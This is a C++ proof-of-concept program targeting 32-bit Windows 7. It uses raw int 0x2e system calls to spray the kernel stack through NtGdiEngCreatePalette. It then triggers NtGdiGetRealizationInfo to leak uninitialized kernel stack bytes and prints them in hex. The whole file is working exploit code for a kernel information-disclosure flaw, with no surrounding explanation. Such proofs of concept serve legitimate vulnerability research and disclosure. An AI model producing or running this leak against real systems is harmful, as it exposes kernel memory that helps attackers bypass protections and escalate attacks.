#include <Windows.h>
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#include <cstdio>
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// For native 32-bit execution.
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extern "C"
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ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
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__asm{mov eax, ApiNumber};
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__asm{lea edx, ApiNumber + 4};
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__asm{int 0x2e};
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}
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VOID PrintHex(PBYTE Data, ULONG dwBytes) {
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for (ULONG i = 0; i < dwBytes; i += 16) {
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printf("%.8x: ", i);
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for (ULONG j = 0; j < 16; j++) {
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if (i + j < dwBytes) {
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printf("%.2x ", Data[i + j]);
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}
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else {
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printf("?? ");
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}
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}
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for (ULONG j = 0; j < 16; j++) {
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if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
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printf("%c", Data[i + j]);
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}
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else {
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printf(".");
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}
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}
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printf("\n");
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}
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}
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// Own implementation of memset(), which guarantees no data is spilled on the local stack.
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VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
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for (ULONG i = 0; i < size; i++) {
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ptr[i] = byte;
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}
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}
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VOID SprayKernelStack() {
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// Windows 7 32-bit.
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CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;
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// Buffer allocated in static program memory, hence doesn't touch the local stack.
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static BYTE buffer[1024];
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// Fill the buffer with 'A's and spray the kernel stack.
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MyMemset(buffer, 'A', sizeof(buffer));
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SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);
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// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
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MyMemset(buffer, 'B', sizeof(buffer));
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}
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int main() {
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// Windows 7 32-bit.
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CONST ULONG __NR_NtGdiGetRealizationInfo = 0x10cb;
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// Create a Device Context.
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HDC hdc = CreateCompatibleDC(NULL);
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// Create a TrueType font.
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HFONT hfont = CreateFont(10, // nHeight
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10, // nWidth
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0, // nEscapement
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0, // nOrientation
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FW_DONTCARE, // fnWeight
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FALSE, // fdwItalic
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FALSE, // fdwUnderline
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FALSE, // fdwStrikeOut
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ANSI_CHARSET, // fdwCharSet
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OUT_DEFAULT_PRECIS, // fdwOutputPrecision
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CLIP_DEFAULT_PRECIS, // fdwClipPrecision
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DEFAULT_QUALITY, // fdwQuality
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FF_DONTCARE, // fdwPitchAndFamily
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L"Times New Roman");
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// Select the font into the DC.
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SelectObject(hdc, hfont);
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// Spray the kernel stack to get visible results.
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SprayKernelStack();
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// Read the uninitialized kernel stack bytes and print them on screen.
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DWORD output[6] = { /* zero padding */ };
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output[0] = 16;
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if (!SystemCall32(__NR_NtGdiGetRealizationInfo, hdc, output)) {
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printf("NtGdiGetRealizationInfo failed\n");
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DeleteObject(hfont);
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DeleteDC(hdc);
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return 1;
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}
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PrintHex((PBYTE)output, sizeof(output));
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// Free resources.
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DeleteObject(hfont);
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DeleteDC(hdc);
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return 0;
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}
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